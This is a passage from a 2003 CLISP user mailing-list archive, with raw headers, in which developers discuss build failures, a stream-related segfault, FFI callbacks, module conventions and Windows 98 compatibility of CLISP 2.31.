`alloc_trampoline_r': > ../../../ffcall/callback/trampoline_r/trampoline.c:455: `MAP_VARIABLE' undeclared (first use in this function) > ../../../ffcall/callback/trampoline_r/trampoline.c:455: (Each undeclared identifier is reported only once > ../../../ffcall/callback/trampoline_r/trampoline.c:455: for each function it appears in.) > make[2]: *** [trampoline.lo] Error 1 > make[2]: Leaving directory `/var/tmp/portage/clisp-2.31/work/clisp-2.31/src/callback/trampoline_r' > make[1]: *** [all-subdirs] Error 2 > make[1]: Leaving directory `/var/tmp/portage/clisp-2.31/work/clisp-2.31/src/callback' > make: *** [callback.h] Error 2 > > Grepping the the CLISP source I don't find a MAP_VARIABLE and grepping > in /usr/include/ (on either the Gentoo or a Debian system) I don't > find it either. Help? CLISP checks for MAP_VARIABLE and thinks that if it it works then MAP_VARIABLE is also present and works. I wonder why... -- Sam Steingold (http://www.podval.org/~sds) running w2k Warning! Dates in calendar are closer than they appear! From lisp-clisp-list@m.gmane.org Thu Sep 04 09:46:42 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uxFq-0004Xp-00 for ; Thu, 04 Sep 2003 09:46:42 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uxFk-0003GV-QD for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 09:46:37 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19uxGB-0000cK-00 for ; Thu, 04 Sep 2003 18:47:03 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19uxGA-0000cC-00 for ; Thu, 04 Sep 2003 18:47:02 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19uxFf-0002t4-00 for ; Thu, 04 Sep 2003 18:46:31 +0200 From: Sam Steingold Organization: disorganization Lines: 45 Message-ID: References: <3F568B69.10BB666@ieee.org> <3F574B73.7003E65C@ieee.org> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Problems compiling gdi using clisp.h Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 4 09:59:38 2003 X-Original-Date: 04 Sep 2003 12:46:31 -0400 > * In message <3F574B73.7003E65C@ieee.org> > * On the subject of "Re: Problems compiling gdi using clisp.h" > * Sent on Thu, 04 Sep 2003 10:25:55 -0400 > * Honorable Dan Stanger writes: > > Sam Steingold wrote: > > > > * In message <3F568B69.10BB666@ieee.org> > > > * On the subject of "Problems compiling gdi using clisp.h" > > > * Sent on Wed, 03 Sep 2003 20:46:33 -0400 > > > * Honorable Dan Stanger writes: > > > > > > Atype_32Bit and local dont seem to be in clisp.h. > > > Should I be using something else? > > > > local = static. > > I am aware of that, but all of the clisp code uses local instead. Is > there a plan to change local to static in the main line clisp code? > If not, then shouldn't module writers be using clisp conventions? CLISP CPP sugar (elif, unless, until, local, global &c &c) is being phased out. No module uses them now. The modules are different from main CLISP sources, e.g., they use DEFUN and not LISPFUN. > > what do you need Atype_32Bit for? > > can you use Atype_8Bit instead? > > I have not checked everywhere but in 2 places, I am passing in a array > of integers. if these are generic integers, your should use simple vectors. if they are 8-bit vectors, then use Atype_8Bit. see modules/clx/new-clx/clx.f. if you really need 32-bit integers, I can export Atype_32Bit for you. -- Sam Steingold (http://www.podval.org/~sds) running w2k Trespassers will be shot. Survivors will be SHOT AGAIN! From kraehe@copyleft.de Thu Sep 04 09:52:14 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uxLC-0005b2-00 for ; Thu, 04 Sep 2003 09:52:14 -0700 Received: from mout0.freenet.de ([194.97.50.131]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uxLA-0007Zc-Pb for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 09:52:12 -0700 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout0.freenet.de with asmtp (Exim 4.21) id 19uxKy-0005Iy-TQ; Thu, 04 Sep 2003 18:52:00 +0200 Received: from olli.mcbone.net ([194.97.50.59] helo=bakunin.copyleft.de) by mx2.freenet.de with esmtp (Exim 4.22 #1) id 19uxKy-000454-H4; Thu, 04 Sep 2003 18:52:00 +0200 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 19uxLd-0007nc-00; Thu, 04 Sep 2003 18:52:41 +0200 From: Michael Koehne To: Sam Steingold , clisp-list@lists.sourceforge.net Message-ID: <20030904165241.GA29942@bakunin.copyleft.de> References: <20030904003913.GA14093@bakunin.copyleft.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Subject: [clisp-list] Re: [clisp-announce] GNU CLISP 2.31 release Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 4 10:04:36 2003 X-Original-Date: Thu, 4 Sep 2003 18:52:41 +0200 Moin Sam Steingold, > > (PRINT 1 2) make[1]: *** [tests] Segmentation fault > see > > those are a different can of worms, imho - my is related to streams. > Can you debug this? [1]> (print "*STANDARD-OUTPUT*" *STANDARD-OUTPUT*) "*STANDARD-OUTPUT*" "*STANDARD-OUTPUT*" [2]> (print "*STANDARD-OUTPUT*" 1) Segmentation fault bakunin:~ $ bakunin:~ $ gdb /usr/local/lib/clisp/base/lisp.run core Core was generated by `/usr/local/lib/clisp/base/lisp.run -B /usr/local/lib/clisp -M /usr/local/lib/cl'. Program terminated with signal 11, Segmentation fault. [...] #0 0x08097097 in test_ostream () (gdb) bt #0 0x08097097 in test_ostream () #1 0xbffff4c0 in ?? () #2 0x0805b0a4 in funcall_closure () #3 0x202b4305 in ?? () #4 0x08172f52 in subr_tab_data () #5 0x202b4331 in ?? () #6 0x202dc4d5 in ?? () (gdb) Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.18'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From bruno@clisp.org Thu Sep 04 10:00:35 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uxTH-0006oH-00 for ; Thu, 04 Sep 2003 10:00:35 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uxTG-0005CL-15 for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 10:00:34 -0700 Received: from reuilly.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.9/8.12.9) with SMTP id h84H0B6H026831; Thu, 4 Sep 2003 19:00:16 +0200 (MET DST) Received: from laposte.ilog.fr ([172.17.1.6]) by reuilly.ilog.fr (SAVSMTP 3.1.1.32) with SMTP id M2003090418510906692 ; Thu, 04 Sep 2003 18:51:09 +0200 Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id h84H0FB20177; Thu, 4 Sep 2003 19:00:15 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id C16BD113C0; Thu, 4 Sep 2003 16:58:08 +0000 (UTC) From: Bruno Haible To: sds@gnu.org, Michael Koehne User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net References: <20030904003913.GA14093@bakunin.copyleft.de> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309041858.07869.bruno@clisp.org> Subject: [clisp-list] Re: [clisp-announce] GNU CLISP 2.31 release Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 4 10:16:35 2003 X-Original-Date: Thu, 4 Sep 2003 18:58:07 +0200 Michael Koehne wrote: > > ;; Loading file type.lisp ..../lisp.run: relocation error: > > /usr/lib/gconv/CP932.so: undefined symbol: STANDARD_ERR_HANDLER That's a glibc bug introduced on 2003-07-14 and fixed on 2003-07-20. You must be using a glibc snapshot. Bruno From dan.stanger@ieee.org Thu Sep 04 10:34:32 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19uy08-0002Qf-00 for ; Thu, 04 Sep 2003 10:34:32 -0700 Received: from smtp2.localnet.com ([207.251.201.58] helo=smtp.localnet.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19uy06-0002cQ-VT for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 10:34:31 -0700 Received: (qmail 20183 invoked from network); 4 Sep 2003 17:34:12 -0000 Received: from ppp43.pm3-2.bos-pt.ma.localnet.com (HELO ieee.org) ([66.153.67.107]) (envelope-sender ) by mail1.localnet.com (qmail-ldap-1.03) with SMTP for ; 4 Sep 2003 17:34:12 -0000 Message-ID: <3F577706.F6F33E23@ieee.org> From: Dan Stanger X-Mailer: Mozilla 4.8 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Problems compiling gdi using clisp.h References: <3F568B69.10BB666@ieee.org> <3F574B73.7003E65C@ieee.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 4 10:54:12 2003 X-Original-Date: Thu, 04 Sep 2003 13:31:50 -0400 Sam Steingold wrote: > > > > what do you need Atype_32Bit for? > > > can you use Atype_8Bit instead? > > > > I have not checked everywhere but in 2 places, I am passing in a array > > of integers. > > if these are generic integers, your should use simple vectors. > if they are 8-bit vectors, then use Atype_8Bit. > see modules/clx/new-clx/clx.f. > > if you really need 32-bit integers, I can export Atype_32Bit for you. > The win32 api defines the input to these and other routines as 32 bit integers, regardless of how many bits are actually used. I suppose I could copy a input vector of 24 bit integers to a 32 bit vector and pass it in, and on output do the reverse, but I think thats more work in several places. I think the best solution is to use Atype_32Bit, so I would like it exported. Thanks, Dan Stanger From kraehe@copyleft.de Thu Sep 04 12:52:08 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19v09I-0005bx-00 for ; Thu, 04 Sep 2003 12:52:08 -0700 Received: from mout1.freenet.de ([194.97.50.132]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19v09I-0000Bk-6H for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 12:52:08 -0700 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with asmtp (Exim 4.21) id 19v09G-000294-TT for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 21:52:06 +0200 Received: from olli.mcbone.net ([194.97.50.59] helo=bakunin.copyleft.de) by mx0.freenet.de with esmtp (Exim 4.22 #1) id 19v09G-0004Fy-Fz for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 21:52:06 +0200 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 19v0A2-00081w-00; Thu, 04 Sep 2003 21:52:54 +0200 From: Michael Koehne To: clisp-list@lists.sourceforge.net Subject: [clisp-list] (print 1 2) Message-ID: <20030904195254.GA30833@bakunin.copyleft.de> References: <200309041858.07869.bruno@clisp.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200309041858.07869.bruno@clisp.org> User-Agent: Mutt/1.3.28i X-Spam-Score: -4.5 (----) X-Spam-Report: -4.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Moin Bruno Haible, > > > ;; Loading file type.lisp ..../lisp.run: relocation error: > > > /usr/lib/gconv/CP932.so: undefined symbol: STANDARD_ERR_HANDLER > That's a glibc bug introduced on 2003-07-14 and fixed on 2003-07-20. > You must be using a glibc snapshot. [...] Content analysis details: (-4.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text USER_AGENT_MUTT (-2.5 points) User-Agent header indicates a non-spam MUA (Mutt) REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 4 12:53:03 2003 X-Original-Date: Thu, 4 Sep 2003 21:52:54 +0200 Moin Bruno Haible, > > > ;; Loading file type.lisp ..../lisp.run: relocation error: > > > /usr/lib/gconv/CP932.so: undefined symbol: STANDARD_ERR_HANDLER > That's a glibc bug introduced on 2003-07-14 and fixed on 2003-07-20. > You must be using a glibc snapshot. clisp 2.31 now works on my Sarge, after a dselect. But still not on Woody. Moin Sam Steingold, > see > [1]> (streamp 1) NIL *hm* I wonder, why streamp in src/io.d thinks that an integer is a stream, if using gcc 2.95.4, because streamp is lisp specific and not C(++) specific, iirc. Unfortunately, I dont understand the .d concept, to help here. Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.18'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From seniorr@aracnet.com Thu Sep 04 13:04:51 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19v0Lb-0007t7-00 for ; Thu, 04 Sep 2003 13:04:51 -0700 Received: from mail.tdb.com ([216.99.214.4]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 19v0Lb-0000zS-BM for clisp-list@lists.sourceforge.net; Thu, 04 Sep 2003 13:04:51 -0700 Received: (qmail 14442 invoked from network); 4 Sep 2003 20:04:50 -0000 Received: from unknown (HELO coulee.tdb.com) (192.168.0.2) by mail.tdb.com with SMTP; 4 Sep 2003 20:04:50 -0000 Received: (qmail 16206 invoked by uid 1001); 4 Sep 2003 20:04:50 -0000 To: clisp-list@lists.sourceforge.net From: Russell Senior Message-ID: <86u17sqpzx.fsf@coulee.tdb.com> Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Line 19 of src/configure.in: AC_INIT(clisp,2.30, clisp-list) I suppose this ought to be 2.31 instead. [...] Content analysis details: (-0.50 points, 5 required) USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) Subject: [clisp-list] clisp-2.31.tar.bz2's configure.in has wrong version Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 4 13:05:07 2003 X-Original-Date: 04 Sep 2003 13:04:50 -0700 Line 19 of src/configure.in: AC_INIT(clisp,2.30, clisp-list) I suppose this ought to be 2.31 instead. -- Russell Senior ``shtal latta wos ba padre u prett tu nashtonfi seniorr@aracnet.com mrlosh'' -- Bashgali Kafir for ``If you have had diarrhoea many days you will surely die.'' From ampy@ich.dvo.ru Fri Sep 05 05:01:22 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19vFHF-0006UQ-00 for ; Fri, 05 Sep 2003 05:01:22 -0700 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19vFHD-0003Ff-3j for clisp-list@lists.sourceforge.net; Fri, 05 Sep 2003 05:01:19 -0700 Received: from ppp202-AS-5.vtc.ru (ppp202-AS-5.vtc.ru [212.16.207.202]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h85C18qQ028386 for ; Fri, 5 Sep 2003 23:01:09 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1679317007.20030905230333@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] Re: truly dynamic FFI in CVS In-reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0541A617@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE0541A617@G8PQD.blf01.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi, Wednesday, September 03, 2003, 10:00:14 PM, you wrote: >>>> It's a pity that def-call-in hardly can be made dynamic while it > seems >>>> crucial for typical event-driven windows app. >>> well, this is caused by the non-dynamic nature of C/C++, right? >>But you have already done dynamic parameter/result translation! How >>about to made a fixed number of entry points/slots being defined by >>def-call-in ? (and clisp being compiled as a shared library) [...] Content analysis details: (-2.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 5 05:02:04 2003 X-Original-Date: Fri, 5 Sep 2003 23:03:33 +1000 Hi, Wednesday, September 03, 2003, 10:00:14 PM, you wrote: >>>> It's a pity that def-call-in hardly can be made dynamic while it > seems >>>> crucial for typical event-driven windows app. >>> well, this is caused by the non-dynamic nature of C/C++, right? >>But you have already done dynamic parameter/result translation! How >>about to made a fixed number of entry points/slots being defined by >>def-call-in ? (and clisp being compiled as a shared library) > I believe somebody is mislead. CLISP FFI has little problems with callbacks AFAIK. DEF-CALL-IN is not the way to go for dynamic callbacks. C/C++ is not the problem. > If you want to install a callback (e.g. for an event driven loop), you need to invoke a def-call-out :library function which takes a C-FUNCTION object as parameter somewhere (or a C-STRUCT which > contains such). > A Lisp function passed as parameter thereof will be converted to a callback function pointer that the foreign (C/C++/xyz) world will receive and can use. > Please try it out. Wow. Woooow! I've made a dll with the following function typedef int (*LispFunc)(int parameter); int CallInFunc4(LispFunc f) { return f(5)+11; } and called it from Lisp: declared (ffi:def-call-out callout4 (:name "CallInFunc4") (:library "lispdll.dll") (:arguments (list (ffi:c-function (:arguments (list ffi:int)) (:return-type ffi:int) (:language :stdc)))) (:return-type ffi:int) (:language :stdc)) and used: [2]> (defun f (x) (* x 2)) F [3]> (callout4 #'f) 21 I never thought it can work this way! -- Best regards, Arseny From lin8080@freenet.de Sat Sep 06 15:31:11 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19vlaJ-0007kN-00 for ; Sat, 06 Sep 2003 15:31:11 -0700 Received: from mout1.freenet.de ([194.97.50.132]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19vlaE-0001WV-43 for clisp-list@lists.sourceforge.net; Sat, 06 Sep 2003 15:31:06 -0700 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout1.freenet.de with asmtp (Exim 4.21) id 19vla2-00086t-Bo for clisp-list@lists.sourceforge.net; Sun, 07 Sep 2003 00:30:54 +0200 Received: from b7612.pppool.de ([213.7.118.18] helo=freenet.de) by mx3.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 4.22 #1) id 19vla1-0005Qt-A1 for clisp-list@lists.sourceforge.net; Sun, 07 Sep 2003 00:30:54 +0200 Message-ID: <3F59C63F.ECCD20D5@freenet.de> From: lin8080 X-Mailer: Mozilla 4.73 [de]C-CCK-MCD QXW03244 (Win98; U) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.4 (+) X-Spam-Report: 1.4/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hallo Now I get the CLisp-2.31.zip from source forge and extract it. Soon I see a problem. When following the steps in the readme, to start lisp.exe brings an error message: The lisp.exe file is linked to missing export kernel32.dll: CcreateHardlinkA. [...] Content analysis details: (1.40 points, 5 required) FROM_ENDS_IN_NUMS (0.7 points) From: ends in numbers X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header USER_AGENT_MOZILLA_XM (0.0 points) X-Mailer header indicates a non-spam MUA (Netscape) DATE_IN_PAST_06_12 (0.8 points) Date: is 6 to 12 hours before Received: date Subject: [clisp-list] CL-2.31 on Win98 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 6 15:32:07 2003 X-Original-Date: Sat, 06 Sep 2003 13:34:23 +0200 Hallo Now I get the CLisp-2.31.zip from source forge and extract it. Soon I see a problem. When following the steps in the readme, to start lisp.exe brings an error message: The lisp.exe file is linked to missing export kernel32.dll: CcreateHardlinkA. It seems that lisp.exe is compiled on a win after 98 version. So I gues the kernel32.dll is in a directory named root, I create one and copied the dll in there, but this did not work. Else I think it can be possible, there are more than one missing dll files. So I try: regsvr32 /i kernel32.dll will not work. Then I set the path in the autoexec.bat will not work. Where is the kernel32.dll stored in newer windows versions? (--> Is it possible to make cl2.31 working by manipulating the treestructure in win98?) How do I set a hardlink to the missing dll (and maybe other, ie wuplang32.dll) and will this work? Is win98 no longer supported? Can the compile be done with relative pathnames, so windows will look up in the set paths? What can I do to make cl231 work on win98? uhhh. stefan From ampy@ich.dvo.ru Sat Sep 06 16:11:47 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19vmDb-0003Y1-00 for ; Sat, 06 Sep 2003 16:11:47 -0700 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19vmDZ-00045d-7t for clisp-list@lists.sourceforge.net; Sat, 06 Sep 2003 16:11:45 -0700 Received: from ppp140-AS-3.vtc.ru (ppp140-AS-3.vtc.ru [212.16.216.140]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h86NAxqQ020041; Sun, 7 Sep 2003 10:11:02 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <491758488.20030907101325@ich.dvo.ru> To: lin8080 CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CL-2.31 on Win98 In-reply-To: <3F59C63F.ECCD20D5@freenet.de> References: <3F59C63F.ECCD20D5@freenet.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: -2.0 (--) X-Spam-Report: -2.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi, > Now I get the CLisp-2.31.zip from source forge and extract it. Soon I > see a problem. When following the steps in the readme, to start lisp.exe > brings an error message: > The lisp.exe file is linked to missing export kernel32.dll: > CcreateHardlinkA. [...] Content analysis details: (-2.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 6 16:12:04 2003 X-Original-Date: Sun, 7 Sep 2003 10:13:25 +1000 Hi, > Now I get the CLisp-2.31.zip from source forge and extract it. Soon I > see a problem. When following the steps in the readme, to start lisp.exe > brings an error message: > The lisp.exe file is linked to missing export kernel32.dll: > CcreateHardlinkA. Full version (with modules) doesn't work on win98 and NT4, indeed. As Sam said CreateHardlink needed for COPY-FILE :METHOD :HARDLINK. Base version works on NT4. -- Best regards, Arseny From traverso@posso.dm.unipi.it Sun Sep 07 03:44:15 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19vx1j-0000DH-00 for ; Sun, 07 Sep 2003 03:44:15 -0700 Received: from posso.dm.unipi.it ([131.114.6.61] ident=[zUf60KSYfm9pVmPkFEoT4BxdAXHEP+OH]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19vx1i-0003mI-M4 for clisp-list@lists.sourceforge.net; Sun, 07 Sep 2003 03:44:14 -0700 Received: (from traverso@localhost) by posso.dm.unipi.it (8.11.6/8.11.6) id h87Ai8M12646; Sun, 7 Sep 2003 12:44:08 +0200 Message-Id: <200309071044.h87Ai8M12646@posso.dm.unipi.it> From: Carlo Traverso To: clisp-list@lists.sourceforge.net Reply-To: traverso@dm.unipi.it X-Spam-Score: 0.0 (/) X-Spam-Report: 0.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: In clisp 2.31, the SPACE macro has been renamed TIMES. Alas, this has broken some programs of mine, that worked in clisp 2.30 and defined their own TIMES function, since now (defun times .....) gives a continuable error. [...] Content analysis details: (0.00 points, 5 required) Subject: [clisp-list] 2.31: space -> times Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 7 03:45:02 2003 X-Original-Date: Sun, 7 Sep 2003 12:44:08 +0200 In clisp 